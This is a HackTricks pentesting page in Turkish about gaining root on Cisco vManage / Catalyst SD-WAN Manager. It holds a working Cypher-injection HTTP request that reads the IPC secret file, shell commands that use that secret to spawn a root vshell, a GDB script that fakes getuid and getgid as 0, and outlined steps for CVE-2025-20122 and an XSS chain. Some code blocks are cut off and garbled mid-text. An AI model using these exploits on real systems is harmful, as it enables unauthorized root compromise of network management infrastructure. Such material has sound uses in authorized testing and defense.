Cisco - vmanage
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Yol 1
(Örnek: https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)
Biraz confd ve farklı ikili dosyalarla ilgili bazı [documentation] belgelerini inceledikten sonra (Cisco web sitesinde bir hesapla erişilebilir), IPC soketini doğrulamak için /etc/confd/confd_ipc_secret konumunda bulunan bir secret kullandığını bulduk:
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
Neo4j örneğimizi hatırlıyor musunuz? vmanage kullanıcısının ayrıcalıkları altında çalışıyor, bu da önceki güvenlik açığını kullanarak dosyayı almamıza olanak tanıyor:
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
The confd_cli programı komut satırı argümanlarını desteklemiyor ancak argümanlarla /usr/bin/confd_cli_user’ı çağırıyor. Bu yüzden /usr/bin/confd_cli_user’ı kendi argümanlarımızla doğrudan çağırabiliriz. Ancak şu anki ayrıcalıklarımızla okunamıyor, bu yüzden onu rootfs’ten alıp scp ile kopyalamalı, yardımını okumalı ve shell elde etmek için kullanmalıyız:
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
Welcome to Viptela CLI
admin connected from 127.0.0.1 using console on vManage
vManage# vshell
vManage:~# id
uid=0(root) gid=0(root) groups=0(root)
Yol 2
synacktiv ekibi tarafından yazılan blog¹, root shell almak için zarif bir yol tarif ediyordu, ancak sakıncası /usr/bin/confd_cli_user kopyasını elde etmeyi gerektirmesidir; bu dosya yalnızca root tarafından okunabiliyor. Ben böyle zahmete girmeden root’a yükselmenin başka bir yolunu buldum.
/usr/bin/confd_cli ikili dosyası üzerinde tersine mühendislik yaptığımda, aşağıdakileri gözlemledim:
Objdump showing UID/GID collection
```asm vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … 40165c: 48 89 c3 mov %rax,%rbx 40165f: bf 1c 31 40 00 mov $0x40311c,%edi 401664: e8 17 f8 ff ff callq 400e80“ps aux” çalıştırdığımda, aşağıdakileri gözlemledim (not -g 100 -u 107)
vmanage:~$ ps aux
… snipped …
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …
“confd_cli” programının oturum açmış kullanıcıdan topladığı user ID ve group ID’yi “cmdptywrapper” uygulamasına ilettiğini varsaydım.
İlk denemem “cmdptywrapper”’ı doğrudan çalıştırıp ona -g 0 -u 0 vermekti, ancak başarısız oldu. Görünüşe göre bir dosya tanımlayıcı (-i 1015) bir yerde oluşturulmuş ve bunu taklit edemiyorum.
synacktiv’in blogunda bahsedildiği gibi(son örnek), confd_cli programı komut satırı argümanlarını desteklemiyor, fakat bir debugger ile etkileyebiliyorum ve neyse ki sistemde GDB mevcut.
getuid ve getgid API’lerini 0 döndürecek şekilde zorladığım bir GDB scripti oluşturdum. Zaten deserialization RCE ile “vmanage” ayrıcalığına sahip olduğum için /etc/confd/confd_ipc_secret dosyasını doğrudan okuma iznim var.
root.gdb:
set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run
Konsol Çıktısı:
Konsol çıktısı
```text vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or laterPath 3 (2025 CLI input validation bug)
Cisco renamed vManage to Catalyst SD-WAN Manager, ancak alttaki CLI aynı cihazda çalışmaya devam ediyor. 2025 tarihli bir advisory (CVE-2025-20122), CLI’de yetersiz input validation olduğunu ve manager CLI servisine hazırlanmış bir istek göndererek herhangi bir authenticated local user’ın root elde etmesine izin verdiğini açıklıyor. Herhangi bir düşük ayrıcalıklı foothold ile (ör. Path1’deki Neo4j deserialization veya bir cron/backup kullanıcı shell) bu hatayı birleştirerek confd_cli_user’ı kopyalamadan veya GDB eklemeden root’a atlayabilirsiniz:
- Düşük ayrıcalıklı shell’inizi kullanarak CLI IPC endpoint’ini bulun (genelde Path2’de port 4565 üzerinde görülen
cmdptywrapperlistener’ı). - UID/GID alanlarını 0 olarak forgeleyecek bir CLI isteği oluşturun. Doğrulama hatası orijinal çağırıcının UID’sini zorlamıyor, bu yüzden wrapper root-backed bir PTY başlatıyor.
- Herhangi bir komut dizisini (
vshell; id) forged istek üzerinden pipe’layarak root shell elde edin.
The exploit surface is local-only; remote code execution is still required to land the initial shell, but once inside the box exploitation is a single IPC message rather than a debugger-based UID patch.
Zincir için diğer yakın tarihli vManage/Catalyst SD-WAN Manager zafiyetleri
- Authenticated UI XSS (CVE-2024-20475) – Belirli arayüz alanlarına JavaScript enjekte edin; bir admin oturumunu çalmak size tarayıcı kaynaklı bir yol sağlar:
vshell→ yerel shell → Path3 ile root.
References
- Cisco Catalyst SD-WAN Manager Privilege Escalation Vulnerability (CVE-2025-20122)
- Cisco Catalyst SD-WAN Manager Cross-Site Scripting Vulnerability (CVE-2024-20475)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


